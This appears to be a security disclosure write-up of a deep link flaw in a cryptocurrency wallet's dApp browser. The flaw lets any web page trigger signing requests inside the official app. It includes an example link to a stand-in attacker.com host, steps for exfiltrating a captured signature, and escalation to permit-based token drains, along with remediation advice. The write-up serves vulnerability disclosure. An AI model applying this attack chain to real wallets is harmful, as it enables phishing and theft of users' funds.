dApp Browser Deep Link Injection to Wallet Drain
The Risk
An attacker could send a link via SMS, email, or chat that opens a cryptocurrency wallet app and immediately presents a signing request that looks like a routine account verification. If the user taps "Sign," the attacker captures a cryptographic signature that can be used to drain the wallet. The entire attack takes two taps and the malicious page appears inside the official app with the wallet's own branding in the toolbar.
The Vulnerability
1. Unvalidated URL in deep link handler
The wallet app registered a custom URL scheme that routed to an internal dApp browser screen. This screen accepted a url parameter and loaded it directly in a WebView with no validation. There was no URL allowlist, no domain check, and no warning to the user. Any URL passed through the deep link was loaded with full trust.
wallet-scheme:///dapp-browser?url=https://attacker.com/ 2. Full signing bridge injected into every page
The dApp browser injected a window.ethereum EIP-1193 provider into every page it loaded, regardless of origin. This provider gave JavaScript on the page access to powerful wallet operations:
eth_accounts- returned the victim's wallet address silently with no promptpersonal_sign- triggered a native signing dialogeth_sendTransaction- triggered a transaction confirmation dialogeth_signTypedData_v4- triggered a typed data signing dialog for gasless token approvals
No origin validation was performed on the message handler that bridged between the WebView and the native signing code. Any page loaded in the dApp browser could invoke these methods.
3. No App Link verification on the deep link scheme
The app's deep link intent filter did not include android:autoVerify, meaning any app or webpage could trigger the scheme without the operating system verifying ownership. Chrome would open the link directly in the wallet app with no disambiguation dialog.
The Attack
- The attacker hosts a delivery page on a regular HTTPS website with a button labeled "Open in [Wallet Name]"
- The button links to the wallet's deep link scheme with the attacker's page as the URL parameter
- When the victim taps the button in their mobile browser, the wallet app opens and loads the attacker's page in the dApp browser. The toolbar shows the wallet's lock icon and avatar, making it appear trusted
- The attacker's JavaScript calls
eth_requestAccounts, which silently returns the victim's wallet address with no prompt - The page immediately triggers
personal_signwith a message crafted to look like a standard verification prompt: "Please sign this message to verify your account. This will not trigger a blockchain transaction or cost any gas fees." - The native signing dialog appears. The victim taps "Sign"
- The signature is exfiltrated to the attacker's server via both a fetch POST and a redirect fallback
Escalation to fund theft
The proof of concept demonstrated personal_sign to capture a signature, but the same mechanism supports direct fund theft. Replacing the signing call with eth_sendTransaction sends ETH or tokens directly. Using eth_signTypedData_v4 with an EIP-2612 Permit payload enables gasless token approval drain, where the victim signs a permit that lets the attacker transfer tokens without spending gas themselves.
The Impact
The proof of concept successfully captured a real cryptographic signature from a victim wallet during testing:
| Capability | Result |
|---|---|
| Wallet address disclosure (no prompt) | Confirmed - address leaked silently |
| Personal signature capture | Confirmed - signature exfiltrated |
| Transaction dialog from attacker page | Confirmed - "Confirm Transaction" shown |
| Typed data signing from attacker page | Confirmed - "Signature Request" shown |
| URL allowlist on dApp browser | None - any URL loads with full bridge |
Social engineering advantage
The attacker's page loaded inside the wallet's own dApp browser with the official branding in the toolbar. Users familiar with dApp interactions routinely sign verification messages, making this attack highly convincing. The signing message was crafted to match the language and format of legitimate wallet verification prompts.
Remediation
- Implement a URL allowlist on the dApp browser and only load approved domains or user-added bookmarks
- Add origin validation in the message handler so the signing bridge only processes requests from verified origins
- Validate and sanitize the URL parameter in the deep link handler before loading it in the dApp browser
- Add
android:autoVerify="true"to the deep link intent filter so the operating system verifies domain ownership via App Links - Display the full URL of the loaded page prominently in the dApp browser toolbar so users can identify phishing pages
The vendor resolved the core vulnerability in a subsequent release by restricting the URLs that can be loaded via deep link into the dApp browser.